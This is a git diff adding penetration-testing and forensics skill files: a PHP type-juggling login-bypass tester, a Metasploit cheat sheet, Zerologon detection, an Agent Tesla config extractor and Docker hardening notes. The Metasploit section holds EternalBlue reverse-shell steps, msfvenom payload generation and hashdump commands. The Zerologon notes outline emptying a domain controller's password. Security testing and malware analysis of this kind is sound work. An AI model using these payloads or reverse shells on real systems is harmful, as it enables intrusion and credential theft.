in PHP"}, + ], +} + + +def test_authentication_bypass(url, username_field, password_field, username, token=None): + """Test authentication bypass via type juggling.""" + if not HAS_REQUESTS: + return [] + findings = [] + headers = {"Content-Type": "application/json"} + if token: + headers["Authorization"] = f"Bearer {token}" + + payloads = [ + {username_field: username, password_field: True}, + {username_field: username, password_field: 0}, + {username_field: username, password_field: []}, + {username_field: username, password_field: "0"}, + {username_field: True, password_field: True}, + ] + + try: + baseline = requests.post( + url, json={username_field: username, password_field: "wrong_password"}, + headers=headers, timeout=10, verify=False + ) + baseline_status = baseline.status_code + baseline_len = len(baseline.text) + except requests.RequestException: + return findings + + for payload in payloads: + try: + resp = requests.post(url, json=payload, headers=headers, timeout=10, verify=False) + if resp.status_code != baseline_status or abs(len(resp.text) - baseline_len) > 50: + findings.append({ + "payload": str(payload), + "status_code": resp.status_code, + "response_length": len(resp.text), + "baseline_status": baseline_status, + "baseline_length": baseline_len, + "possible_bypass": True, + "severity": "CRITICAL", + }) + except requests.RequestException: + continue + return findings + + +def test_comparison_bypass(url, param, token=None): + """Test loose comparison bypass for tokens/OTP.""" + if not HAS_REQUESTS: + return [] + findings = [] + headers = {"Content-Type": "application/json"} + if token: + headers["Authorization"] = f"Bearer {token}" + + for payload_info in TYPE_JUGGLING_PAYLOADS["type_coercion"]: + try: + data = {param: payload_info["value"]} + resp = requests.post(url, json=data, headers=headers, timeout=10, verify=False) + if resp.status_code == 200: + findings.append({ + "param": param, + "value": str(payload_info["value"]), + "value_type": type(payload_info["value"]).__name__, + "note": payload_info["note"], + "severity": "HIGH", + }) + except requests.RequestException: + continue + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Test type juggling vulnerabilities (authorized testing only)" + ) + parser.add_argument("--url", required=True, help="Target login/auth URL") + parser.add_argument("--username-field", default="username") + parser.add_argument("--password-field", default="password") + parser.add_argument("--username", default="admin") + parser.add_argument("--param", help="Parameter for comparison bypass test") + parser.add_argument("--token", help="Bearer token") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Type Juggling Vulnerability Testing Agent") + print("[!] For authorized security testing only") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + + auth_findings = test_authentication_bypass( + args.url, args.username_field, args.password_field, args.username, args.token + ) + report["findings"].extend(auth_findings) + print(f"[*] Auth bypass findings: {len(auth_findings)}") + + if args.param: + comp_findings = test_comparison_bypass(args.url, args.param, args.token) + report["findings"].extend(comp_findings) + print(f"[*] Comparison bypass findings: {len(comp_findings)}") + + report["risk_level"] = "CRITICAL" if report["findings"] else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-vulnerabilities-with-metasploit-framework/LICENSE b/skills/exploiting-vulnerabilities-with-metasploit-framework/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-vulnerabilities-with-metasploit-framework/LICENSE +++ b/skills/exploiting-vulnerabilities-with-metasploit-framework/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-vulnerabilities-with-metasploit-framework/references/api-reference.md b/skills/exploiting-vulnerabilities-with-metasploit-framework/references/api-reference.md new file mode 100644 index 00000000..8a53c6d7 --- /dev/null +++ b/skills/exploiting-vulnerabilities-with-metasploit-framework/references/api-reference.md @@ -0,0 +1,100 @@ +# API Reference: Metasploit Framework + +## msfconsole Commands + +### Module Search +``` +search type:exploit platform:windows cve:2021 +search name:eternalblue +``` + +### Module Usage +``` +use exploit/windows/smb/ms17_010_eternalblue +set RHOSTS 10.10.10.1 +set LHOST 10.10.10.5 +set PAYLOAD windows/x64/meterpreter/reverse_tcp +check +exploit +``` + +### Resource Scripts +```bash +msfconsole -q -r exploit.rc +``` + +## Module Types + +| Type | Path | Purpose | +|------|------|---------| +| exploit | exploit/ | Deliver payloads | +| auxiliary | auxiliary/ | Scanning, fuzzing | +| post | post/ | Post-exploitation | +| payload | payload/ | Shellcode/agents | +| encoder | encoder/ | Evasion encoding | + +## Common Exploit Modules + +| CVE | Module | Target | +|-----|--------|--------| +| CVE-2017-0144 | exploit/windows/smb/ms17_010_eternalblue | SMBv1 | +| CVE-2019-0708 | exploit/windows/rdp/cve_2019_0708_bluekeep_rce | RDP | +| CVE-2021-44228 | exploit/multi/http/log4shell_header_injection | Log4j | +| CVE-2020-1472 | exploit/windows/dcerpc/zerologon | Netlogon | +| CVE-2021-34527 | exploit/windows/dcerpc/cve_2021_1675_printnightmare | Print Spooler | + +## Meterpreter Commands + +### System +``` +sysinfo # System information +getuid # Current user +getsystem # Privilege escalation +hashdump # Dump password hashes +``` + +### File System +``` +upload /local/file /remote/path +download /remote/file /local/path +``` + +### Network +``` +portfwd add -l 8080 -p 80 -r 10.10.10.2 +route add 10.10.20.0 255.255.255.0 1 +``` + +## Metasploit REST API + +### Authentication +```http +POST https://msf:3790/api/v1/auth/account +Content-Type: application/json + +{"username": "msf", "password": "password"} +``` + +### List Modules +```http +GET https://msf:3790/api/v1/modules/exploits +Authorization: Token {token} +``` + +### Run Module +```http +POST https://msf:3790/api/v1/modules/execute +Authorization: Token {token} + +{ + "module_type": "exploit", + "module_name": "exploit/windows/smb/ms17_010_eternalblue", + "datastore": {"RHOSTS": "10.10.10.1"} +} +``` + +## msfvenom — Payload Generation +```bash +msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o shell.exe +msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f elf -o shell.elf +``` diff --git a/skills/exploiting-vulnerabilities-with-metasploit-framework/scripts/agent.py b/skills/exploiting-vulnerabilities-with-metasploit-framework/scripts/agent.py new file mode 100644 index 00000000..e62c5a1e --- /dev/null +++ b/skills/exploiting-vulnerabilities-with-metasploit-framework/scripts/agent.py @@ -0,0 +1,133 @@ +#!/usr/bin/env python3 +"""Agent for vulnerability exploitation workflow using Metasploit Framework — authorized testing.""" + +import argparse +import json +import os +import subprocess +import sys +from datetime import datetime, timezone + + +def search_modules(search_term): + """Search Metasploit modules via msfconsole.""" + rc_content = f"search {search_term}\nexit\n" + rc_file = "/tmp/msf_search.rc" + with open(rc_file, "w") as f: + f.write(rc_content) + try: + result = subprocess.check_output( + ["msfconsole", "-q", "-r", rc_file], + text=True, errors="replace", timeout=60 + ) + modules = [] + for line in result.splitlines(): + if "exploit/" in line or "auxiliary/" in line: + parts = line.split() + if len(parts) >= 3: + modules.append({ + "type": parts[0], + "module": parts[1], + "rank": parts[2] if len(parts) > 2 else "", + }) + return modules + except (subprocess.SubprocessError, FileNotFoundError): + return [{"error": "msfconsole not available"}] + + +def generate_rc_file(module, options, output_file): + """Generate a Metasploit resource script for automated execution.""" + lines = [f"use {module}"] + for key, value in options.items(): + lines.append(f"set {key} {value}") + lines.append("check") + lines.append("exit") + rc_content = "\n".join(lines) + "\n" + with open(output_file, "w") as f: + f.write(rc_content) + return {"rc_file": output_file, "module": module, "options": options} + + +def run_nmap_vuln_scan(target): + """Run nmap vulnerability scan to identify exploitable services.""" + try: + result = subprocess.check_output( + ["nmap", "-sV", "--script", "vuln", "-p-", "--min-rate", "1000", target], + text=True, errors="replace", timeout=300 + ) + vulns = [] + current_port = "" + for line in result.splitlines(): + if "/tcp" in line or "/udp" in line: + current_port = line.split("/")[0].strip() + if "VULNERABLE" in line or "CVE-" in line: + vulns.append({"port": current_port, "finding": line.strip()}) + return {"target": target, "vulnerabilities": vulns} + except (subprocess.SubprocessError, FileNotFoundError): + return {"target": target, "error": "nmap not available"} + + +def map_cve_to_module(cve): + """Map a CVE to known Metasploit modules.""" + cve_module_map = { + "CVE-2017-0144": "exploit/windows/smb/ms17_010_eternalblue", + "CVE-2019-0708": "exploit/windows/rdp/cve_2019_0708_bluekeep_rce", + "CVE-2021-44228": "exploit/multi/http/log4shell_header_injection", + "CVE-2021-34527": "exploit/windows/dcerpc/cve_2021_1675_printnightmare", + "CVE-2020-1472": "exploit/windows/dcerpc/zerologon", + "CVE-2021-26855": "exploit/windows/http/exchange_proxylogon_rce", + } + return cve_module_map.get(cve, None) + + +def main(): + parser = argparse.ArgumentParser( + description="Metasploit Framework exploitation workflow (authorized testing only)" + ) + parser.add_argument("--search", help="Search for Metasploit modules") + parser.add_argument("--scan", help="Target IP for nmap vuln scan") + parser.add_argument("--generate-rc", help="Module to generate RC file for") + parser.add_argument("--rhost", help="Target host for RC file") + parser.add_argument("--lhost", help="Local host for reverse shell") + parser.add_argument("--cve", help="Map CVE to Metasploit module") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Metasploit Framework Automation Agent") + print("[!] For authorized security testing only") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}} + + if args.search: + modules = search_modules(args.search) + report["findings"]["search_results"] = modules + print(f"[*] Found {len(modules)} modules for '{args.search}'") + + if args.scan: + scan_result = run_nmap_vuln_scan(args.scan) + report["findings"]["vuln_scan"] = scan_result + + if args.generate_rc: + options = {} + if args.rhost: + options["RHOSTS"] = args.rhost + if args.lhost: + options["LHOST"] = args.lhost + rc = generate_rc_file(args.generate_rc, options, "/tmp/exploit.rc") + report["findings"]["rc_file"] = rc + print(f"[*] RC file generated: {rc['rc_file']}") + + if args.cve: + module = map_cve_to_module(args.cve) + report["findings"]["cve_mapping"] = {"cve": args.cve, "module": module} + print(f"[*] {args.cve} -> {module or 'no known module'}") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-websocket-vulnerabilities/LICENSE b/skills/exploiting-websocket-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-websocket-vulnerabilities/LICENSE +++ b/skills/exploiting-websocket-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-zerologon-vulnerability-cve-2020-1472/LICENSE b/skills/exploiting-zerologon-vulnerability-cve-2020-1472/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-zerologon-vulnerability-cve-2020-1472/LICENSE +++ b/skills/exploiting-zerologon-vulnerability-cve-2020-1472/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/api-reference.md b/skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/api-reference.md new file mode 100644 index 00000000..98fdfdfc --- /dev/null +++ b/skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/api-reference.md @@ -0,0 +1,87 @@ +# API Reference: Zerologon (CVE-2020-1472) + +## Vulnerability Overview +- **CVE**: CVE-2020-1472 +- **CVSS**: 10.0 (Critical) +- **Protocol**: MS-NRPC (Netlogon Remote Protocol) +- **Port**: 135 (RPC) +- **Impact**: Domain Admin without credentials + +## Attack Mechanism +The Netlogon AES-CFB8 implementation uses a static IV of zero bytes. +Sending authentication requests with 256 zero bytes succeeds with +probability 1/256 per attempt. + +## Detection Tools + +### Nmap +```bash +nmap -p 135,445 --script smb-vuln-cve-2020-1472 +``` + +### Impacket zerologon_tester.py +```bash +zerologon_tester.py DC01 10.10.10.1 +``` + +### CrackMapExec +```bash +crackmapexec smb -u '' -p '' -M zerologon +``` + +## Patch Information + +### Microsoft KBs +| KB | OS Version | +|----|-----------| +| KB4571694 | Windows Server 2016 | +| KB4571703 | Windows Server 2019 | +| KB4571723 | Windows Server 2012 R2 | +| KB4571736 | Windows Server 2012 | + +### Registry Key for Enforcement +``` +HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters +FullSecureChannelProtection = 1 (DWORD) +``` + +## MS-NRPC Protocol + +### NetrServerAuthenticate3 +``` +DCERPC call to \PIPE\netlogon +Function: NetrServerAuthenticate3 +ClientCredential: 8 zero bytes +NegotiateFlags: 0x212fffff +``` + +### Authentication Flow +1. Client calls `NetrServerReqChallenge` (sends 8 zero bytes) +2. Server responds with ServerChallenge +3. Client calls `NetrServerAuthenticate3` (ClientCredential = zeros) +4. On success (~1/256), client sets DC machine password to empty + +## Event Log Detection + +### Event IDs +| Event | Source | Description | +|-------|--------|-------------| +| 5827 | Netlogon | Vulnerable connection denied | +| 5828 | Netlogon | Vulnerable connection allowed | +| 5829 | Netlogon | Vulnerable connection (audit mode) | +| 5830 | Netlogon | Device allowed by GPO exception | +| 5831 | Netlogon | Device denied | + +### KQL Detection +```kql +SecurityEvent +| where EventID in (5827, 5828, 5829) +| project TimeGenerated, Computer, EventData +``` + +## Remediation +1. Apply KB patches immediately +2. Set `FullSecureChannelProtection = 1` +3. Monitor Event IDs 5827-5831 +4. Block RPC port 135 from untrusted networks +5. Enable DC enforcement mode diff --git a/skills/exploiting-zerologon-vulnerability-cve-2020-1472/scripts/agent.py b/skills/exploiting-zerologon-vulnerability-cve-2020-1472/scripts/agent.py new file mode 100644 index 00000000..081ff16d --- /dev/null +++ b/skills/exploiting-zerologon-vulnerability-cve-2020-1472/scripts/agent.py @@ -0,0 +1,131 @@ +#!/usr/bin/env python3 +"""Agent for detecting Zerologon (CVE-2020-1472) vulnerability — authorized testing only.""" + +import argparse +import json +import socket +import subprocess +import sys +from datetime import datetime, timezone + + +def check_zerologon_nmap(dc_ip): + """Use nmap script to check for Zerologon vulnerability.""" + try: + result = subprocess.check_output( + ["nmap", "-p", "135,445", "--script", "smb-vuln-cve-2020-1472", dc_ip], + text=True, errors="replace", timeout=30 + ) + return { + "method": "nmap", + "target": dc_ip, + "vulnerable": "VULNERABLE" in result.upper(), + "output": result[:500], + } + except (subprocess.SubprocessError, FileNotFoundError): + return {"method": "nmap", "status": "nmap not available"} + + +def check_zerologon_impacket(dc_name, dc_ip): + """Check vulnerability using zerologon_tester.py from Impacket.""" + try: + result = subprocess.check_output( + ["zerologon_tester.py", dc_name, dc_ip], + text=True, errors="replace", timeout=30 + ) + return { + "method": "zerologon_tester", + "target": dc_ip, + "dc_name": dc_name, + "vulnerable": "success" in result.lower() or "vulnerable" in result.lower(), + "output": result[:500], + } + except (subprocess.SubprocessError, FileNotFoundError): + return {"method": "zerologon_tester", "status": "tool not available"} + + +def check_patch_status(dc_ip): + """Check if DC has Zerologon patches applied.""" + if sys.platform != "win32": + return {"status": "non-windows — use remote check"} + try: + result = subprocess.check_output( + ["wmic", "/node:" + dc_ip, "qfe", "list", "brief"], + text=True, errors="replace", timeout=15 + ) + patches = ["KB4571694", "KB4571703", "KB4571723", "KB4571736"] + found = [kb for kb in patches if kb in result] + return { + "target": dc_ip, + "patched": len(found) > 0, + "patches_found": found, + "patches_checked": patches, + } + except subprocess.SubprocessError: + return {"status": "wmic check failed"} + + +def check_secure_channel(dc_ip): + """Verify Netlogon secure channel is enforced.""" + ps_cmd = ( + f"Get-ItemProperty 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters' " + f"-Name FullSecureChannelProtection -ErrorAction SilentlyContinue | " + f"Select-Object FullSecureChannelProtection | ConvertTo-Json" + ) + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", ps_cmd], + text=True, errors="replace", timeout=10 + ) + data = json.loads(result) if result.strip() else {} + enforced = data.get("FullSecureChannelProtection", 0) == 1 + return {"secure_channel_enforced": enforced} + except (subprocess.SubprocessError, json.JSONDecodeError): + return {"status": "check_failed"} + + +def main(): + parser = argparse.ArgumentParser( + description="Detect Zerologon CVE-2020-1472 (authorized testing only)" + ) + parser.add_argument("--dc-ip", required=True, help="Domain controller IP") + parser.add_argument("--dc-name", help="DC NetBIOS name (for Impacket check)") + parser.add_argument("--nmap", action="store_true", help="Use nmap check") + parser.add_argument("--check-patch", action="store_true") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Zerologon (CVE-2020-1472) Detection Agent") + print("[!] For authorized security testing only") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}} + + if args.nmap: + result = check_zerologon_nmap(args.dc_ip) + report["findings"]["nmap"] = result + print(f"[*] nmap check: vulnerable={result.get('vulnerable', 'unknown')}") + + if args.dc_name: + result = check_zerologon_impacket(args.dc_name, args.dc_ip) + report["findings"]["impacket"] = result + print(f"[*] Impacket check: {result.get('vulnerable', result.get('status'))}") + + if args.check_patch: + patch = check_patch_status(args.dc_ip) + report["findings"]["patch_status"] = patch + channel = check_secure_channel(args.dc_ip) + report["findings"]["secure_channel"] = channel + + report["risk_level"] = "CRITICAL" if any( + v.get("vulnerable") for v in report["findings"].values() if isinstance(v, dict) + ) else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/extracting-browser-history-artifacts/LICENSE b/skills/extracting-browser-history-artifacts/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/extracting-browser-history-artifacts/LICENSE +++ b/skills/extracting-browser-history-artifacts/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/extracting-config-from-agent-tesla-rat/LICENSE b/skills/extracting-config-from-agent-tesla-rat/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/extracting-config-from-agent-tesla-rat/LICENSE +++ b/skills/extracting-config-from-agent-tesla-rat/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/extracting-config-from-agent-tesla-rat/references/api-reference.md b/skills/extracting-config-from-agent-tesla-rat/references/api-reference.md new file mode 100644 index 00000000..2fee0543 --- /dev/null +++ b/skills/extracting-config-from-agent-tesla-rat/references/api-reference.md @@ -0,0 +1,96 @@ +# API Reference: Agent Tesla RAT Configuration Extraction + +## Agent Tesla Overview +- **Type**: .NET RAT / Information Stealer +- **Exfiltration**: SMTP, FTP, Telegram, HTTP POST +- **Capabilities**: Keylogging, clipboard, screenshots, credential theft + +## String Extraction + +### Python Regex for ASCII Strings +```python +re.finditer(rb'[\x20-\x7e]{6,}', binary_data) +``` + +### Wide Strings (UTF-16LE) +```python +re.finditer(rb'(?:[\x20-\x7e]\x00){6,}', binary_data) +``` + +## Configuration Indicators + +### SMTP Exfiltration +| Field | Pattern | +|-------|---------| +| Server | `smtp.gmail.com`, `smtp.yandex.com` | +| Port | 587, 465, 25 | +| Email | `[\w.+-]+@[\w-]+\.[\w.]+` | +| Password | Base64 or XOR encoded | + +### FTP Exfiltration +| Field | Pattern | +|-------|---------| +| Server | `ftp.\w+\.\w+` | +| URI | `ftp://user:pass@host/path` | + +### Telegram Bot +| Field | Pattern | +|-------|---------| +| Bot Token | `\d{8,12}:[A-Za-z0-9_-]{35}` | +| Chat ID | `\d{9,13}` | +| API URL | `api.telegram.org/bot{token}/sendDocument` | + +## .NET Decompilation + +### dnSpy +```bash +# Open sample in dnSpy +# Navigate to namespace: AgentTesla / WebMonitor / etc. +# Look for hardcoded credentials in static fields +``` + +### ILSpy / dotPeek +Alternative .NET decompilers for config extraction. + +## YARA Rule + +```yara +rule AgentTesla { + meta: + description = "Agent Tesla keylogger/RAT" + strings: + $smtp = "SmtpPort" ascii wide + $hook = "KeyboardHook" ascii wide + $clip = "GetClipboardData" ascii wide + $ns1 = "AgentTesla" ascii + $ns2 = "WebMonitor" ascii + condition: + uint16(0) == 0x5A4D and 3 of them +} +``` + +## File Hashing + +### Python hashlib +```python +import hashlib +sha256 = hashlib.sha256(open(path, 'rb').read()).hexdigest() +``` + +## VirusTotal API — Sample Lookup +```http +GET https://www.virustotal.com/api/v3/files/{sha256} +x-apikey: {API_KEY} +``` + +### Response Fields +| Field | Description | +|-------|-------------| +| `data.attributes.popular_threat_classification` | Malware family | +| `data.attributes.last_analysis_stats` | AV detection counts | +| `data.attributes.sandbox_verdicts` | Sandbox analysis results | + +## Sandbox Analysis +- **ANY.RUN**: Interactive analysis +- **Hybrid Analysis**: Automated report +- **Joe Sandbox**: Deep behavioral analysis diff --git a/skills/extracting-config-from-agent-tesla-rat/scripts/agent.py b/skills/extracting-config-from-agent-tesla-rat/scripts/agent.py new file mode 100644 index 00000000..3e524fee --- /dev/null +++ b/skills/extracting-config-from-agent-tesla-rat/scripts/agent.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python3 +"""Agent for extracting configuration from Agent Tesla RAT samples (malware analysis).""" + +import argparse +import base64 +import hashlib +import json +import os +import re +import struct +import sys +from datetime import datetime, timezone + + +AGENT_TESLA_INDICATORS = { + "strings": [ + "smtp.gmail.com", "smtp.yandex.com", "SmtpPort", + "KeyboardHook", "ClipboardLogger", "ScreenCapture", + "GetClipboardData", "GetForegroundWindow", + "Mozilla/5.0", "passwords.txt", + ], + "namespaces": [ + "AgentTesla", "WebMonitor", "HPDefender", + "GodMode", "AKStealer", "Origin Logger", + ], +} + + +def compute_file_hashes(file_path): + """Compute MD5, SHA1, SHA256 of a file.""" + md5 = hashlib.md5() + sha1 = hashlib.sha1() + sha256 = hashlib.sha256() + with open(file_path, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + md5.update(chunk) + sha1.update(chunk) + sha256.update(chunk) + return { + "md5": md5.hexdigest(), + "sha1": sha1.hexdigest(), + "sha256": sha256.hexdigest(), + } + + +def extract_strings(file_path, min_len=6): + """Extract ASCII and wide strings from binary.""" + strings = [] + with open(file_path, "rb") as f: + data = f.read() + # ASCII strings + for match in re.finditer(rb'[\x20-\x7e]{%d,}' % min_len, data): + strings.append(match.group().decode("ascii", errors="replace")) + # Wide strings (UTF-16LE) + for match in re.finditer(rb'(?:[\x20-\x7e]\x00){%d,}' % min_len, data): + try: + strings.append(match.group().decode("utf-16-le", errors="replace")) + except UnicodeDecodeError: + pass + return strings + + +def find_smtp_config(strings_list): + """Extract SMTP configuration from string artifacts.""" + config = {"smtp_server": None, "smtp_port": None, "email": None, "password": None} + for s in strings_list: + if re.match(r'smtp\.\w+\.\w+', s, re.I): + config["smtp_server"] = s + if re.match(r'^\d{2,5}$', s) and int(s) in (25, 465, 587, 2525): + config["smtp_port"] = int(s) + if re.match(r'[\w.+-]+@[\w-]+\.[\w.]+', s): + config["email"] = s + return config + + +def find_ftp_config(strings_list): + """Extract FTP exfiltration configuration.""" + config = {"ftp_server": None, "ftp_user": None, "ftp_password": None} + for s in strings_list: + if re.match(r'ftp\.\w+\.\w+', s, re.I): + config["ftp_server"] = s + if "ftp://" in s.lower(): + config["ftp_url"] = s + return config + + +def find_telegram_config(strings_list): + """Extract Telegram bot exfiltration config.""" + config = {"bot_token": None, "chat_id": None} + for s in strings_list: + if re.match(r'\d{8,12}:[A-Za-z0-9_-]{35}', s): + config["bot_token"] = s + if re.match(r'^-?\d{9,13}$', s): + config["chat_id"] = s + return config + + +def decode_base64_strings(strings_list): + """Try to decode base64-encoded configuration strings.""" + decoded = [] + for s in strings_list: + if len(s) > 20 and re.match(r'^[A-Za-z0-9+/=]+$', s): + try: + d = base64.b64decode(s).decode("utf-8", errors="replace") + if any(c.isprintable() for c in d) and len(d) > 4: + decoded.append({"encoded": s[:40], "decoded": d[:100]}) + except Exception: + pass + return decoded + + +def analyze_sample(file_path): + """Full analysis of suspected Agent Tesla sample.""" + hashes = compute_file_hashes(file_path) + strings = extract_strings(file_path) + + indicators_found = [] + for indicator in AGENT_TESLA_INDICATORS["strings"]: + if any(indicator.lower() in s.lower() for s in strings): + indicators_found.append(indicator) + + smtp = find_smtp_config(strings) + ftp = find_ftp_config(strings) + telegram = find_telegram_config(strings) + b64_decoded = decode_base64_strings(strings) + + return { + "file": file_path, + "file_size": os.path.getsize(file_path), + "hashes": hashes, + "agent_tesla_indicators": indicators_found, + "is_agent_tesla": len(indicators_found) >= 3, + "config": { + "smtp": smtp, + "ftp": ftp, + "telegram": telegram, + }, + "base64_decoded": b64_decoded[:10], + "total_strings": len(strings), + } + + +def main(): + parser = argparse.ArgumentParser( + description="Extract configuration from Agent Tesla RAT samples" + ) + parser.add_argument("sample", help="Path to suspected Agent Tesla sample") + parser.add_argument("--output", "-o", help="Output JSON report") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + print("[*] Agent Tesla Configuration Extraction Agent") + result = analyze_sample(args.sample) + + print(f"[*] SHA256: {result['hashes']['sha256']}") + print(f"[*] Agent Tesla indicators: {len(result['agent_tesla_indicators'])}") + print(f"[*] Likely Agent Tesla: {result['is_agent_tesla']}") + + if result["config"]["smtp"]["smtp_server"]: + print(f"[*] SMTP C2: {result['config']['smtp']['smtp_server']}") + if result["config"]["telegram"]["bot_token"]: + print(f"[*] Telegram bot found") + + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "analysis": result} + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/extracting-credentials-from-memory-dump/LICENSE b/skills/extracting-credentials-from-memory-dump/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/extracting-credentials-from-memory-dump/LICENSE +++ b/skills/extracting-credentials-from-memory-dump/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/extracting-iocs-from-malware-samples/LICENSE b/skills/extracting-iocs-from-malware-samples/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/extracting-iocs-from-malware-samples/LICENSE +++ b/skills/extracting-iocs-from-malware-samples/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/extracting-memory-artifacts-with-rekall/LICENSE b/skills/extracting-memory-artifacts-with-rekall/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/extracting-memory-artifacts-with-rekall/LICENSE +++ b/skills/extracting-memory-artifacts-with-rekall/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/extracting-windows-event-logs-artifacts/LICENSE b/skills/extracting-windows-event-logs-artifacts/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/extracting-windows-event-logs-artifacts/LICENSE +++ b/skills/extracting-windows-event-logs-artifacts/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/generating-threat-intelligence-reports/LICENSE b/skills/generating-threat-intelligence-reports/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/generating-threat-intelligence-reports/LICENSE +++ b/skills/generating-threat-intelligence-reports/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hardening-docker-containers-for-production/LICENSE b/skills/hardening-docker-containers-for-production/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/hardening-docker-containers-for-production/LICENSE +++ b/skills/hardening-docker-containers-for-production/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/hardening-docker-containers-for-production/references/api-reference.md b/skills/hardening-docker-containers-for-production/references/api-reference.md new file mode 100644 index 00000000..c8ebe3d5 --- /dev/null +++ b/skills/hardening-docker-containers-for-production/references/api-reference.md @@ -0,0 +1,84 @@ +# API Reference: Docker Container Hardening + +## Docker CLI + +### List Containers +```bash +docker ps --format '{{json .}}' +``` + +### Inspect Container +```bash +docker inspect +``` + +### Key Inspect Fields +| Path | Description | +|------|-------------| +| `.HostConfig.Privileged` | Privileged mode | +| `.HostConfig.NetworkMode` | Network namespace | +| `.HostConfig.CapAdd` | Added capabilities | +| `.HostConfig.ReadonlyRootfs` | Read-only filesystem | +| `.HostConfig.Memory` | Memory limit (bytes) | +| `.Config.User` | Container user | + +## CIS Docker Benchmark Checks + +| Check | Description | Severity | +|-------|-------------|----------| +| 4.1 | Non-root user | HIGH | +| 5.3 | Restrict capabilities | HIGH | +| 5.4 | No privileged containers | CRITICAL | +| 5.5 | No sensitive host mounts | HIGH | +| 5.10 | No host network | HIGH | +| 5.12 | Read-only root FS | 